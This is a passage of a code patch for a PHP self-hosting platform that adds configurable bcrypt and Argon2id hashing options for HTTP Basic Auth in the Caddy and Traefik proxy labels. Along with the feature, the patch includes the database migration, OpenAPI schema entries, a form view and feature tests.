http_basic_auth_password: $application->http_basic_auth_password, + http_basic_auth_bcrypt_cost: $application->http_basic_auth_bcrypt_cost, noindex_domains: $noindexDomains, escape_redirect_replacement_for_compose: false, domainPortOverrides: $application->domain_port_overrides ?? [], @@ -1258,6 +1271,8 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview is_http_basic_auth_enabled: $application->is_http_basic_auth_enabled, http_basic_auth_username: $application->http_basic_auth_username, http_basic_auth_password: $application->http_basic_auth_password, + http_basic_auth_bcrypt_cost: $application->http_basic_auth_bcrypt_cost, + http_basic_auth_argon2id_options: $httpBasicAuthArgon2idOptions, noindex_domains: $noindexDomains, is_traffic_analytics_enabled: $application->destination->server->isTrafficAnalyticsEnabled(), supports_log_append: $application->destination->server->caddySupportsLogAppend(), @@ -1288,6 +1303,7 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview is_http_basic_auth_enabled: $application->is_http_basic_auth_enabled, http_basic_auth_username: $application->http_basic_auth_username, http_basic_auth_password: $application->http_basic_auth_password, + http_basic_auth_bcrypt_cost: $application->http_basic_auth_bcrypt_cost, noindex_domains: $noindexDomains, escape_redirect_replacement_for_compose: false, domainPortOverrides: $preview->domain_port_overrides ?? [], @@ -1305,6 +1321,8 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview is_http_basic_auth_enabled: $application->is_http_basic_auth_enabled, http_basic_auth_username: $application->http_basic_auth_username, http_basic_auth_password: $application->http_basic_auth_password, + http_basic_auth_bcrypt_cost: $application->http_basic_auth_bcrypt_cost, + http_basic_auth_argon2id_options: $httpBasicAuthArgon2idOptions, noindex_domains: $noindexDomains, is_traffic_analytics_enabled: $application->destination->server->isTrafficAnalyticsEnabled(), supports_log_append: $application->destination->server->caddySupportsLogAppend(), @@ -1324,6 +1342,7 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview is_http_basic_auth_enabled: $application->is_http_basic_auth_enabled, http_basic_auth_username: $application->http_basic_auth_username, http_basic_auth_password: $application->http_basic_auth_password, + http_basic_auth_bcrypt_cost: $application->http_basic_auth_bcrypt_cost, noindex_domains: $noindexDomains, escape_redirect_replacement_for_compose: false, domainPortOverrides: $preview->domain_port_overrides ?? [], @@ -1339,6 +1358,8 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview is_http_basic_auth_enabled: $application->is_http_basic_auth_enabled, http_basic_auth_username: $application->http_basic_auth_username, http_basic_auth_password: $application->http_basic_auth_password, + http_basic_auth_bcrypt_cost: $application->http_basic_auth_bcrypt_cost, + http_basic_auth_argon2id_options: $httpBasicAuthArgon2idOptions, noindex_domains: $noindexDomains, is_traffic_analytics_enabled: $application->destination->server->isTrafficAnalyticsEnabled(), supports_log_append: $application->destination->server->caddySupportsLogAppend(), diff --git a/database/factories/ApplicationFactory.php b/database/factories/ApplicationFactory.php index 188d32954b..ecbae8862f 100644 --- a/database/factories/ApplicationFactory.php +++ b/database/factories/ApplicationFactory.php @@ -21,6 +21,9 @@ class ApplicationFactory extends Factory 'ports_exposes' => '3000', 'environment_id' => 1, 'destination_id' => 1, + 'http_basic_auth_bcrypt_cost' => 10, + 'http_basic_auth_argon2id_memory_cost' => 65536, + 'http_basic_auth_argon2id_time_cost' => 4, ]; } } diff --git a/database/migrations/2026_10_02_170101_add_http_basic_auth_hash_options_to_applications_table.php b/database/migrations/2026_10_02_170101_add_http_basic_auth_hash_options_to_applications_table.php new file mode 100644 index 0000000000..17212a63a6 --- /dev/null +++ b/database/migrations/2026_10_02_170101_add_http_basic_auth_hash_options_to_applications_table.php @@ -0,0 +1,30 @@ +string('http_basic_auth_hash_algorithm')->default('bcrypt'); + $table->unsignedTinyInteger('http_basic_auth_bcrypt_cost')->default(10); + $table->unsignedInteger('http_basic_auth_argon2id_memory_cost')->default(65536); + $table->unsignedTinyInteger('http_basic_auth_argon2id_time_cost')->default(4); + }); + } + + public function down(): void + { + Schema::table('applications', function (Blueprint $table) { + $table->dropColumn([ + 'http_basic_auth_hash_algorithm', + 'http_basic_auth_bcrypt_cost', + 'http_basic_auth_argon2id_memory_cost', + 'http_basic_auth_argon2id_time_cost', + ]); + }); + } +}; diff --git a/openapi.json b/openapi.json index 313fefa63a..8c4eb62e7f 100644 --- a/openapi.json +++ b/openapi.json @@ -979,6 +979,36 @@ "nullable": true, "description": "Password for HTTP Basic Authentication" }, + "http_basic_auth_hash_algorithm": { + "type": "string", + "enum": [ + "bcrypt", + "argon2id" + ], + "default": "bcrypt", + "description": "Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer." + }, + "http_basic_auth_bcrypt_cost": { + "type": "integer", + "minimum": 4, + "maximum": 14, + "default": 10, + "description": "Bcrypt cost for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_memory_cost": { + "type": "integer", + "minimum": 8192, + "maximum": 262144, + "default": 65536, + "description": "Argon2id memory cost in KiB for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_time_cost": { + "type": "integer", + "minimum": 1, + "maximum": 12, + "default": 4, + "description": "Argon2id time cost (iterations) for the HTTP Basic Authentication password." + }, "connect_to_docker_network": { "type": "boolean", "description": "The flag to connect the service to the predefined Docker network." @@ -1570,6 +1600,36 @@ "nullable": true, "description": "Password for HTTP Basic Authentication" }, + "http_basic_auth_hash_algorithm": { + "type": "string", + "enum": [ + "bcrypt", + "argon2id" + ], + "default": "bcrypt", + "description": "Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer." + }, + "http_basic_auth_bcrypt_cost": { + "type": "integer", + "minimum": 4, + "maximum": 14, + "default": 10, + "description": "Bcrypt cost for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_memory_cost": { + "type": "integer", + "minimum": 8192, + "maximum": 262144, + "default": 65536, + "description": "Argon2id memory cost in KiB for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_time_cost": { + "type": "integer", + "minimum": 1, + "maximum": 12, + "default": 4, + "description": "Argon2id time cost (iterations) for the HTTP Basic Authentication password." + }, "connect_to_docker_network": { "type": "boolean", "description": "The flag to connect the service to the predefined Docker network." @@ -2161,6 +2221,36 @@ "nullable": true, "description": "Password for HTTP Basic Authentication" }, + "http_basic_auth_hash_algorithm": { + "type": "string", + "enum": [ + "bcrypt", + "argon2id" + ], + "default": "bcrypt", + "description": "Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer." + }, + "http_basic_auth_bcrypt_cost": { + "type": "integer", + "minimum": 4, + "maximum": 14, + "default": 10, + "description": "Bcrypt cost for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_memory_cost": { + "type": "integer", + "minimum": 8192, + "maximum": 262144, + "default": 65536, + "description": "Argon2id memory cost in KiB for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_time_cost": { + "type": "integer", + "minimum": 1, + "maximum": 12, + "default": 4, + "description": "Argon2id time cost (iterations) for the HTTP Basic Authentication password." + }, "connect_to_docker_network": { "type": "boolean", "description": "The flag to connect the service to the predefined Docker network." @@ -2647,6 +2737,36 @@ "nullable": true, "description": "Password for HTTP Basic Authentication" }, + "http_basic_auth_hash_algorithm": { + "type": "string", + "enum": [ + "bcrypt", + "argon2id" + ], + "default": "bcrypt", + "description": "Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer." + }, + "http_basic_auth_bcrypt_cost": { + "type": "integer", + "minimum": 4, + "maximum": 14, + "default": 10, + "description": "Bcrypt cost for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_memory_cost": { + "type": "integer", + "minimum": 8192, + "maximum": 262144, + "default": 65536, + "description": "Argon2id memory cost in KiB for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_time_cost": { + "type": "integer", + "minimum": 1, + "maximum": 12, + "default": 4, + "description": "Argon2id time cost (iterations) for the HTTP Basic Authentication password." + }, "connect_to_docker_network": { "type": "boolean", "description": "The flag to connect the service to the predefined Docker network." @@ -3113,6 +3233,36 @@ "nullable": true, "description": "Password for HTTP Basic Authentication" }, + "http_basic_auth_hash_algorithm": { + "type": "string", + "enum": [ + "bcrypt", + "argon2id" + ], + "default": "bcrypt", + "description": "Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer." + }, + "http_basic_auth_bcrypt_cost": { + "type": "integer", + "minimum": 4, + "maximum": 14, + "default": 10, + "description": "Bcrypt cost for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_memory_cost": { + "type": "integer", + "minimum": 8192, + "maximum": 262144, + "default": 65536, + "description": "Argon2id memory cost in KiB for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_time_cost": { + "type": "integer", + "minimum": 1, + "maximum": 12, + "default": 4, + "description": "Argon2id time cost (iterations) for the HTTP Basic Authentication password." + }, "connect_to_docker_network": { "type": "boolean", "description": "The flag to connect the service to the predefined Docker network." @@ -3702,6 +3852,32 @@ "type": "boolean", "description": "Use Docker Build Secrets for build-time environment variables." }, + "http_basic_auth_hash_algorithm": { + "type": "string", + "enum": [ + "bcrypt", + "argon2id" + ], + "description": "Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer." + }, + "http_basic_auth_bcrypt_cost": { + "type": "integer", + "minimum": 4, + "maximum": 14, + "description": "Bcrypt cost for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_memory_cost": { + "type": "integer", + "minimum": 8192, + "maximum": 262144, + "description": "Argon2id memory cost in KiB for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_time_cost": { + "type": "integer", + "minimum": 1, + "maximum": 12, + "description": "Argon2id time cost (iterations) for the HTTP Basic Authentication password." + }, "is_git_submodules_enabled": { "type": "boolean", "description": "Clone Git submodules." @@ -23504,6 +23680,32 @@ "nullable": true, "description": "Password for HTTP Basic Authentication" }, + "http_basic_auth_hash_algorithm": { + "type": "string", + "enum": [ + "bcrypt", + "argon2id" + ], + "description": "Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer." + }, + "http_basic_auth_bcrypt_cost": { + "type": "integer", + "minimum": 4, + "maximum": 14, + "description": "Bcrypt cost for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_memory_cost": { + "type": "integer", + "minimum": 8192, + "maximum": 262144, + "description": "Argon2id memory cost in KiB for the HTTP Basic Authentication password." + }, + "http_basic_auth_argon2id_time_cost": { + "type": "integer", + "minimum": 1, + "maximum": 12, + "description": "Argon2id time cost (iterations) for the HTTP Basic Authentication password." + }, "settings": { "$ref": "#\/components\/schemas\/ApplicationSetting" } diff --git a/openapi.yaml b/openapi.yaml index dc2b3aebf9..cfc334c844 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -645,6 +645,29 @@ paths: type: string nullable: true description: 'Password for HTTP Basic Authentication' + http_basic_auth_hash_algorithm: + type: string + enum: [bcrypt, argon2id] + default: bcrypt + description: 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.' + http_basic_auth_bcrypt_cost: + type: integer + minimum: 4 + maximum: 14 + default: 10 + description: 'Bcrypt cost for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_memory_cost: + type: integer + minimum: 8192 + maximum: 262144 + default: 65536 + description: 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_time_cost: + type: integer + minimum: 1 + maximum: 12 + default: 4 + description: 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.' connect_to_docker_network: type: boolean description: 'The flag to connect the service to the predefined Docker network.' @@ -1031,6 +1054,29 @@ paths: type: string nullable: true description: 'Password for HTTP Basic Authentication' + http_basic_auth_hash_algorithm: + type: string + enum: [bcrypt, argon2id] + default: bcrypt + description: 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.' + http_basic_auth_bcrypt_cost: + type: integer + minimum: 4 + maximum: 14 + default: 10 + description: 'Bcrypt cost for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_memory_cost: + type: integer + minimum: 8192 + maximum: 262144 + default: 65536 + description: 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_time_cost: + type: integer + minimum: 1 + maximum: 12 + default: 4 + description: 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.' connect_to_docker_network: type: boolean description: 'The flag to connect the service to the predefined Docker network.' @@ -1417,6 +1463,29 @@ paths: type: string nullable: true description: 'Password for HTTP Basic Authentication' + http_basic_auth_hash_algorithm: + type: string + enum: [bcrypt, argon2id] + default: bcrypt + description: 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.' + http_basic_auth_bcrypt_cost: + type: integer + minimum: 4 + maximum: 14 + default: 10 + description: 'Bcrypt cost for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_memory_cost: + type: integer + minimum: 8192 + maximum: 262144 + default: 65536 + description: 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_time_cost: + type: integer + minimum: 1 + maximum: 12 + default: 4 + description: 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.' connect_to_docker_network: type: boolean description: 'The flag to connect the service to the predefined Docker network.' @@ -1744,6 +1813,29 @@ paths: type: string nullable: true description: 'Password for HTTP Basic Authentication' + http_basic_auth_hash_algorithm: + type: string + enum: [bcrypt, argon2id] + default: bcrypt + description: 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.' + http_basic_auth_bcrypt_cost: + type: integer + minimum: 4 + maximum: 14 + default: 10 + description: 'Bcrypt cost for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_memory_cost: + type: integer + minimum: 8192 + maximum: 262144 + default: 65536 + description: 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_time_cost: + type: integer + minimum: 1 + maximum: 12 + default: 4 + description: 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.' connect_to_docker_network: type: boolean description: 'The flag to connect the service to the predefined Docker network.' @@ -2057,6 +2149,29 @@ paths: type: string nullable: true description: 'Password for HTTP Basic Authentication' + http_basic_auth_hash_algorithm: + type: string + enum: [bcrypt, argon2id] + default: bcrypt + description: 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.' + http_basic_auth_bcrypt_cost: + type: integer + minimum: 4 + maximum: 14 + default: 10 + description: 'Bcrypt cost for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_memory_cost: + type: integer + minimum: 8192 + maximum: 262144 + default: 65536 + description: 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_time_cost: + type: integer + minimum: 1 + maximum: 12 + default: 4 + description: 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.' connect_to_docker_network: type: boolean description: 'The flag to connect the service to the predefined Docker network.' @@ -2429,6 +2544,25 @@ paths: use_build_secrets: type: boolean description: 'Use Docker Build Secrets for build-time environment variables.' + http_basic_auth_hash_algorithm: + type: string + enum: [bcrypt, argon2id] + description: 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.' + http_basic_auth_bcrypt_cost: + type: integer + minimum: 4 + maximum: 14 + description: 'Bcrypt cost for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_memory_cost: + type: integer + minimum: 8192 + maximum: 262144 + description: 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_time_cost: + type: integer + minimum: 1 + maximum: 12 + description: 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.' is_git_submodules_enabled: type: boolean description: 'Clone Git submodules.' @@ -15009,6 +15143,27 @@ components: type: string nullable: true description: 'Password for HTTP Basic Authentication' + http_basic_auth_hash_algorithm: + type: string + enum: + - bcrypt + - argon2id + description: 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.' + http_basic_auth_bcrypt_cost: + type: integer + minimum: 4 + maximum: 14 + description: 'Bcrypt cost for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_memory_cost: + type: integer + minimum: 8192 + maximum: 262144 + description: 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.' + http_basic_auth_argon2id_time_cost: + type: integer + minimum: 1 + maximum: 12 + description: 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.' settings: $ref: '#/components/schemas/ApplicationSetting' type: object diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index 1df2bedfb2..45e03854a3 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -1,3 +1,4 @@ +@php use App\Enums\HttpBasicAuthHashAlgorithm; use App\Enums\ProxyTypes; @endphp
+ @php + $server = $application->destination->server; + $supportsArgon2id = $server->caddySupportsArgon2idBasicAuth(); + $usesArgon2id = $httpBasicAuthHashAlgorithm === HttpBasicAuthHashAlgorithm::ARGON2ID->value; + @endphp +
+

Password hashing

+
+ + @if ($usesArgon2id) +
+ +
+
+ +
+ @else +
+ +
+ @endif +
+
@endif @endif diff --git a/tests/Feature/Api/ApplicationSettingsApiTest.php b/tests/Feature/Api/ApplicationSettingsApiTest.php index 8074be8bbe..018c662a4b 100644 --- a/tests/Feature/Api/ApplicationSettingsApiTest.php +++ b/tests/Feature/Api/ApplicationSettingsApiTest.php @@ -267,6 +267,35 @@ test('http basic auth updates preserve user-managed labels', function () { expect(base64_decode($this->application->fresh()->custom_labels))->toBe('sentinel-label=true'); }); +test('http basic auth hash settings are saved and applied to managed labels', function () { + $this->application->update([ + 'fqdn' => 'https://app.example.com', + 'is_http_basic_auth_enabled' => true, + 'http_basic_auth_username' => 'api-user', + 'http_basic_auth_password' => 'api-password', + ]); + + $this->withHeaders(applicationSettingsApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", ['http_basic_auth_bcrypt_cost' => 4]) + ->assertOk(); + + expect($this->application->fresh()->parseContainerLabels())->toContain('.basicauth.users=api-user:$2y$04$'); +}); + +test('rejects http basic auth settings that are not supported', function (string $field, mixed $value) { + $this->withHeaders(applicationSettingsApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [$field => $value]) + ->assertUnprocessable() + ->assertJsonValidationErrors($field); +})->with([ + 'Argon2id on a proxy without it' => ['http_basic_auth_hash_algorithm', 'argon2id'], + 'unknown algorithm' => ['http_basic_auth_hash_algorithm', 'md5'], + 'bcrypt cost above 14' => ['http_basic_auth_bcrypt_cost', 15], + 'Argon2id memory above 256 MiB' => ['http_basic_auth_argon2id_memory_cost', 262145], + 'Argon2id iterations above 12' => ['http_basic_auth_argon2id_time_cost', 13], + 'password longer than 72 characters' => ['http_basic_auth_password', str_repeat('a', 73)], +]); + test('rejects invalid boolean application settings', function () { $this->withHeaders(applicationSettingsApiHeaders($this->bearerToken)) ->patchJson("/api/v1/applications/{$this->application->uuid}", [ diff --git a/tests/Feature/ApplicationHttpBasicAuthUiTest.php b/tests/Feature/ApplicationHttpBasicAuthUiTest.php index 78d42bd481..666cddec44 100644 --- a/tests/Feature/ApplicationHttpBasicAuthUiTest.php +++ b/tests/Feature/ApplicationHttpBasicAuthUiTest.php @@ -1,5 +1,6 @@ team = Team::factory()->create(); $this->user = User::factory()->create(); $this->team->members()->attach($this->user->id, ['role' => 'owner']); @@ -47,9 +49,12 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== ?? StandaloneDocker::factory()->create(['server_id' => $this->server->id, 'network' => 'coolify-test']); }); +afterEach(fn () => Server::flushIdentityMap()); + function createApplicationForHttpBasicAuth(array $overrides = []): Application { return Application::factory()->create(array_merge([ + 'name' => 'Basic Auth App', 'environment_id' => test()->environment->id, 'destination_id' => test()->destination->id, 'destination_type' => StandaloneDocker::class, @@ -112,3 +117,68 @@ test('disabling http basic auth is saved instantly', function () { expect((bool) $application->is_http_basic_auth_enabled)->toBeFalse(); }); + +function useCaddyProxyForHttpBasicAuth(string $image): void +{ + test()->server->forceFill(['proxy' => [ + 'type' => ProxyTypes::CADDY->value, + 'status' => 'running', + 'last_saved_settings' => 'applied', + 'last_applied_settings' => 'applied', + 'last_saved_proxy_configuration' => "services:\n caddy:\n image: '{$image}'\n", + ]])->save(); +} + +test('changing the bcrypt cost factor is saved instantly and applied to the proxy labels', function () { + $application = createApplicationForHttpBasicAuth(['fqdn' => 'https://app.example.com']); + + Livewire::test(General::class, ['application' => $application]) + ->set('httpBasicAuthBcryptCost', 4) + ->call('instantSave') + ->assertDispatched('success'); + + $application->refresh(); + + expect($application->http_basic_auth_bcrypt_cost)->toBe(4) + ->and(base64_decode($application->custom_labels))->toContain('.basicauth.users=admin:$2y$04$'); +}); + +test('selecting Argon2id is saved instantly and applied to the Caddy labels', function () { + useCaddyProxyForHttpBasicAuth('lucaslorentz/caddy-docker-proxy:2.13-alpine'); + $application = createApplicationForHttpBasicAuth(['fqdn' => 'https://app.example.com']); + + Livewire::test(General::class, ['application' => $application]) + ->set('httpBasicAuthHashAlgorithm', 'argon2id') + ->set('httpBasicAuthArgon2idMemoryCost', 8192) + ->call('instantSave') + ->assertDispatched('success') + ->assertSee('Iterations') + ->assertDontSee('Cost factor'); + + expect(base64_decode($application->refresh()->custom_labels)) + ->toContain('caddy_0.basic_auth=argon2id', 'caddy_0.basic_auth.admin="$argon2id$v=19$m=8192,t=4,p=1$'); +}); + +test('http basic auth form explains why Argon2id cannot be selected', function (?string $image, string $reason) { + if ($image !== null) { + useCaddyProxyForHttpBasicAuth($image); + } + + Livewire::test(General::class, ['application' => createApplicationForHttpBasicAuth()]) + ->assertSee($reason); +})->with([ + 'Traefik' => [null, 'Only supported by the Caddy proxy'], + 'Caddy 2.10' => ['lucaslorentz/caddy-docker-proxy:2.10-alpine', 'Needs Caddy 2.11 or newer on this server'], +]); + +test('an unsupported http basic auth setting is rejected', function (string $property, mixed $value) { + Livewire::test(General::class, ['application' => createApplicationForHttpBasicAuth()]) + ->set($property, $value) + ->call('instantSave') + ->assertDispatched('error') + ->assertNotDispatched('success'); +})->with([ + 'Argon2id on a proxy without it' => ['httpBasicAuthHashAlgorithm', 'argon2id'], + 'bcrypt cost above 14' => ['httpBasicAuthBcryptCost', 15], + 'password longer than 72 characters' => ['httpBasicAuthPassword', str_repeat('a', 73)], +]); diff --git a/tests/Feature/Proxy/CaddyBasicAuthLabelsTest.php b/tests/Feature/Proxy/CaddyBasicAuthLabelsTest.php index 359abef073..4f3aa36510 100644 --- a/tests/Feature/Proxy/CaddyBasicAuthLabelsTest.php +++ b/tests/Feature/Proxy/CaddyBasicAuthLabelsTest.php @@ -106,3 +106,55 @@ it('emits the matching basic auth directive in application labels', function (st 'caddy-docker-proxy 2.13, preview, all proxies' => ['lucaslorentz/caddy-docker-proxy:2.13-alpine', false, true, 'basic_auth'], 'caddy-docker-proxy 2.13, preview, exact labels' => ['lucaslorentz/caddy-docker-proxy:2.13-alpine', true, true, 'basic_auth'], ]); + +it('hashes the password in application labels with the selected settings', function (array $proxy, bool $exactLabels, bool $preview, array $hashSettings, array $expectedLabels) { + $team = Team::factory()->create(); + $environment = Environment::factory()->create(['project_id' => Project::factory()->create(['team_id' => $team->id])->id]); + $server = Server::factory()->create(['team_id' => $team->id, 'proxy' => $proxy]); + $server->settings->update(['generate_exact_labels' => $exactLabels]); + $destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail(); + $application = Application::factory()->createOne([ + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'fqdn' => 'https://example.com', + 'is_http_basic_auth_enabled' => true, + 'http_basic_auth_username' => 'admin', + 'http_basic_auth_password' => 'secret', + ...$hashSettings, + ]); + Server::flushIdentityMap(); + + $applicationPreview = $preview + ? (new ApplicationPreview)->forceFill(['pull_request_id' => 7, 'fqdn' => 'https://pr-7.example.com']) + : null; + + $labels = collect(generateLabelsApplication($application->fresh(), $applicationPreview))->implode("\n"); + + expect($labels)->toContain(...$expectedLabels); +})->with(function () { + $caddy = basicAuthCaddyProxy('lucaslorentz/caddy-docker-proxy:2.13-alpine'); + $traefik = basicAuthCaddyProxy('traefik:v3.7', ['type' => ProxyTypes::TRAEFIK->value]); + $bcrypt = ['http_basic_auth_bcrypt_cost' => 4]; + $argon2id = ['http_basic_auth_hash_algorithm' => 'argon2id', 'http_basic_auth_argon2id_memory_cost' => 8192, 'http_basic_auth_argon2id_time_cost' => 2]; + $caddyBcrypt = 'caddy_0.basic_auth.admin="$2y$04$'; + $traefikBcrypt = '.basicauth.users=admin:$2y$04$'; + + return [ + 'bcrypt, all proxies' => [$caddy, false, false, $bcrypt, [$caddyBcrypt, $traefikBcrypt]], + 'bcrypt, all proxies, preview' => [$caddy, false, true, $bcrypt, [$caddyBcrypt, $traefikBcrypt]], + 'bcrypt, exact Caddy labels' => [$caddy, true, false, $bcrypt, [$caddyBcrypt]], + 'bcrypt, exact Caddy labels, preview' => [$caddy, true, true, $bcrypt, [$caddyBcrypt]], + 'bcrypt, exact Traefik labels' => [$traefik, true, false, $bcrypt, [$traefikBcrypt]], + 'bcrypt, exact Traefik labels, preview' => [$traefik, true, true, $bcrypt, [$traefikBcrypt]], + 'Argon2id for Caddy, bcrypt for Traefik' => [$caddy, false, false, $argon2id, [ + 'caddy_0.basic_auth=argon2id', + 'caddy_0.basic_auth.admin="$argon2id$v=19$m=8192,t=2,p=1$', + '.basicauth.users=admin:$2y$10$', + ]], + 'bcrypt when Caddy is too old for the stored Argon2id' => [basicAuthCaddyProxy('lucaslorentz/caddy-docker-proxy:2.10-alpine'), false, false, $argon2id, [ + 'caddy_0.basic_auth.admin="$2y$10$', + '.basicauth.users=admin:$2y$10$', + ]], + ]; +}); diff --git a/tests/Unit/DeploymentConfiguration/ApplicationConfigurationSnapshotTest.php b/tests/Unit/DeploymentConfiguration/ApplicationConfigurationSnapshotTest.php index 1e2e0d796c..f4b4586832 100644 --- a/tests/Unit/DeploymentConfiguration/ApplicationConfigurationSnapshotTest.php +++ b/tests/Unit/DeploymentConfiguration/ApplicationConfigurationSnapshotTest.php @@ -148,6 +148,22 @@ it('detects deployment hook changes as redeploy-only changes', function (string 'post-deployment container' => ['post_deployment_command_container', 'Post-deployment command container', 'worker'], ]); +it('detects HTTP basic auth hash setting changes as redeploy-only changes', function (string $field, string $label, string|int $newValue) { + $application = snapshotTestApplication(); + markSnapshotTestApplicationDeployed($application); + + $application->update([$field => $newValue]); + $diff = $application->refresh()->pendingDeploymentConfigurationDiff(); + + expect($diff->requiresBuild())->toBeFalse() + ->and(collect($diff->changes())->pluck('label'))->toContain($label); +})->with([ + 'hash algorithm' => ['http_basic_auth_hash_algorithm', 'HTTP basic auth hash algorithm', 'argon2id'], + 'bcrypt cost factor' => ['http_basic_auth_bcrypt_cost', 'HTTP basic auth bcrypt cost factor', 4], + 'Argon2id memory' => ['http_basic_auth_argon2id_memory_cost', 'HTTP basic auth Argon2id memory (KiB)', 8192], + 'Argon2id iterations' => ['http_basic_auth_argon2id_time_cost', 'HTTP basic auth Argon2id iterations', 2], +]); + it('detects source integration changes as build changes', function (string $field, string $label, mixed $newValue) { $application = snapshotTestApplication([ 'source_id' => 1, diff --git a/tests/v4/Browser/ApplicationHttpBasicAuthHashingTest.php b/tests/v4/Browser/ApplicationHttpBasicAuthHashingTest.php new file mode 100644 index 0000000000..148900b144 --- /dev/null +++ b/tests/v4/Browser/ApplicationHttpBasicAuthHashingTest.php @@ -0,0 +1,45 @@ + Server::flushIdentityMap()); + +afterEach(fn () => Server::flushIdentityMap()); + +it('replaces the cost factor with memory and iterations when Argon2id is selected', function () { + $stack = seedBrowserResourceStack(); + $stack['server']->forceFill(['proxy' => [ + 'type' => ProxyTypes::CADDY->value, + 'status' => 'running', + 'last_saved_settings' => 'applied', + 'last_applied_settings' => 'applied', + 'last_saved_proxy_configuration' => "services:\n caddy:\n image: 'lucaslorentz/caddy-docker-proxy:2.13-alpine'\n", + ]])->save(); + $application = createBrowserApplication($stack, [ + 'name' => 'Basic Auth App', + 'fqdn' => 'https://basic-auth.example.com', + 'is_http_basic_auth_enabled' => true, + 'http_basic_auth_username' => 'admin', + 'http_basic_auth_password' => 'secret', + ]); + loginAndSkipBoarding(); + + $page = visit(applicationConfigurationUrl($stack['project'], $stack['environment'], $application)); + $page->assertSee('Cost factor') + ->script("document.querySelector('#security-section').scrollIntoView()"); + + selectListboxOption($page, 'httpBasicAuthHashAlgorithm', 'Argon2id Memory-hard, more resistant to cracking'); + + $page->assertSeeIn('#httpBasicAuthArgon2idMemoryCost-trigger', '64 MiB') + ->assertSeeIn('#httpBasicAuthArgon2idTimeCost-trigger', '4') + ->assertDontSee('Cost factor') + ->assertNoJavaScriptErrors() + ->screenshot(filename: 'application-basic-auth-argon2id'); + + expect($application->fresh()->http_basic_auth_hash_algorithm)->toBe(HttpBasicAuthHashAlgorithm::ARGON2ID); +}); From 00dced2c24a030333b75b196e4dcf19ecc8e486d Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sun, 4 Oct 2026 19:48:46 +0200 Subject: [PATCH 10/24] refactor(api): check HTTP basic auth request fields with one hasAny call --- app/Http/Controllers/Api/ApplicationsController.php | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 1f6e9e6a11..d6d7821238 100644 --- 